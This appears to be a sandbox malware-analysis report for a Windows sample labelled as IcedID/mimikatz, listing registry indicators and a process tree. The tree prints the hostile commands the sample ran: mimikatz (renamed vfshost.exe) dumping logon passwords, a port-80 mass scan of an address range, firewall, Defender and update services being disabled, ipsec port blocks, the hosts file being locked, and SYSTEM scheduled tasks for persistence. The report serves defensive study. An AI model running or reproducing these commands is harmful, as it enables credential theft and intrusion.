Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11}\WpadDecisionTime = d01ff3cc26b1da01 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11}\ca-9a-38-b9-68-70 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11}\WpadDecisionTime = 1021310227b1da01 yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11}\WpadDecisionReason = "1" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f005c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11}\WpadDecision = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9908DB08-3326-47EB-B807-422C74959E11} yrklftl.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" yrklftl.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 yrklftl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 yrklftl.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 1336 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2860 yrklftl.exe 2232 yrklftl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2828 yrklftl.exe Token: SeDebugPrivilege 2500 yrklftl.exe Token: SeDebugPrivilege 288 vfshost.exe Token: SeAuditPrivilege 2732 svchost.exe Token: SeDebugPrivilege 1732 vekeuubbl.exe Token: SeShutdownPrivilege 1732 vekeuubbl.exe Token: SeLockMemoryPrivilege 2360 mitzpm.exe Token: SeLockMemoryPrivilege 2360 mitzpm.exe Token: SeDebugPrivilege 2756 vekeuubbl.exe Token: SeShutdownPrivilege 2756 vekeuubbl.exe Token: SeDebugPrivilege 2740 vekeuubbl.exe Token: SeShutdownPrivilege 2740 vekeuubbl.exe Token: SeDebugPrivilege 2364 vekeuubbl.exe Token: SeShutdownPrivilege 2364 vekeuubbl.exe Token: SeDebugPrivilege 2800 vekeuubbl.exe Token: SeShutdownPrivilege 2800 vekeuubbl.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 2828 yrklftl.exe 2828 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 328 xohudmc.exe 452 rifzsk.exe 2860 yrklftl.exe 2860 yrklftl.exe 2232 yrklftl.exe 2232 yrklftl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2824 wrote to memory of 2260 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 28 PID 2824 wrote to memory of 2260 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 28 PID 2824 wrote to memory of 2260 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 28 PID 2824 wrote to memory of 2260 2824 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe 28 PID 2260 wrote to memory of 1336 2260 cmd.exe 30 PID 2260 wrote to memory of 1336 2260 cmd.exe 30 PID 2260 wrote to memory of 1336 2260 cmd.exe 30 PID 2260 wrote to memory of 1336 2260 cmd.exe 30 PID 2260 wrote to memory of 2828 2260 cmd.exe 31 PID 2260 wrote to memory of 2828 2260 cmd.exe 31 PID 2260 wrote to memory of 2828 2260 cmd.exe 31 PID 2260 wrote to memory of 2828 2260 cmd.exe 31 PID 2500 wrote to memory of 2556 2500 yrklftl.exe 33 PID 2500 wrote to memory of 2556 2500 yrklftl.exe 33 PID 2500 wrote to memory of 2556 2500 yrklftl.exe 33 PID 2500 wrote to memory of 2556 2500 yrklftl.exe 33 PID 2556 wrote to memory of 2664 2556 cmd.exe 35 PID 2556 wrote to memory of 2664 2556 cmd.exe 35 PID 2556 wrote to memory of 2664 2556 cmd.exe 35 PID 2556 wrote to memory of 2664 2556 cmd.exe 35 PID 2556 wrote to memory of 2560 2556 cmd.exe 36 PID 2556 wrote to memory of 2560 2556 cmd.exe 36 PID 2556 wrote to memory of 2560 2556 cmd.exe 36 PID 2556 wrote to memory of 2560 2556 cmd.exe 36 PID 2556 wrote to memory of 2720 2556 cmd.exe 37 PID 2556 wrote to memory of 2720 2556 cmd.exe 37 PID 2556 wrote to memory of 2720 2556 cmd.exe 37 PID 2556 wrote to memory of 2720 2556 cmd.exe 37 PID 2556 wrote to memory of 2540 2556 cmd.exe 38 PID 2556 wrote to memory of 2540 2556 cmd.exe 38 PID 2556 wrote to memory of 2540 2556 cmd.exe 38 PID 2556 wrote to memory of 2540 2556 cmd.exe 38 PID 2556 wrote to memory of 1620 2556 cmd.exe 39 PID 2556 wrote to memory of 1620 2556 cmd.exe 39 PID 2556 wrote to memory of 1620 2556 cmd.exe 39 PID 2556 wrote to memory of 1620 2556 cmd.exe 39 PID 2556 wrote to memory of 2876 2556 cmd.exe 40 PID 2556 wrote to memory of 2876 2556 cmd.exe 40 PID 2556 wrote to memory of 2876 2556 cmd.exe 40 PID 2556 wrote to memory of 2876 2556 cmd.exe 40 PID 2500 wrote to memory of 2432 2500 yrklftl.exe 41 PID 2500 wrote to memory of 2432 2500 yrklftl.exe 41 PID 2500 wrote to memory of 2432 2500 yrklftl.exe 41 PID 2500 wrote to memory of 2432 2500 yrklftl.exe 41 PID 2500 wrote to memory of 2628 2500 yrklftl.exe 43 PID 2500 wrote to memory of 2628 2500 yrklftl.exe 43 PID 2500 wrote to memory of 2628 2500 yrklftl.exe 43 PID 2500 wrote to memory of 2628 2500 yrklftl.exe 43 PID 2500 wrote to memory of 2480 2500 yrklftl.exe 45 PID 2500 wrote to memory of 2480 2500 yrklftl.exe 45 PID 2500 wrote to memory of 2480 2500 yrklftl.exe 45 PID 2500 wrote to memory of 2480 2500 yrklftl.exe 45 PID 2500 wrote to memory of 2012 2500 yrklftl.exe 47 PID 2500 wrote to memory of 2012 2500 yrklftl.exe 47 PID 2500 wrote to memory of 2012 2500 yrklftl.exe 47 PID 2500 wrote to memory of 2012 2500 yrklftl.exe 47 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 2012 wrote to memory of 1636 2012 cmd.exe 49 PID 1636 wrote to memory of 1812 1636 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1120
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C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2360
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C:\Users\Admin\AppData\Local\Temp\2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gtgcurlb\yrklftl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1336
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2828
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2664
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2560
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2720
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2540
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1620
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2876
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2432
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:2628
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:2480
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\iibfpugis\fewectaiq\wpcap.exeC:\Windows\iibfpugis\fewectaiq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1812
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2024
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2016
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1252
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:380
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:1260
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:300
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2296
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1528
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:3068
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2468
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:540
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:716
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:336
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt2⤵
- Loads dropped DLL
PID:600 -
C:\Windows\iibfpugis\fewectaiq\itcusielr.exeC:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2116
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iibfpugis\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1328 -
C:\Windows\iibfpugis\Corporate\vfshost.exeC:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:288
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"2⤵PID:1976
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:836
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"3⤵
- Creates scheduled task(s)
PID:2140
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"2⤵PID:1844
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1444
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2820
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"2⤵PID:928
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:360
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1840
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:3064
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:2364
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2212
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:1504
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2532
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2600
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2680
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2452
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2428
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2460
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:904
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2168
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1836
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2040
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2164
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:2132
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1916
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2328
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:1264
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:320
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:1528
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:684
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:292
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:3020
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:3068
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:2128
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2584
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:596
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2476
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
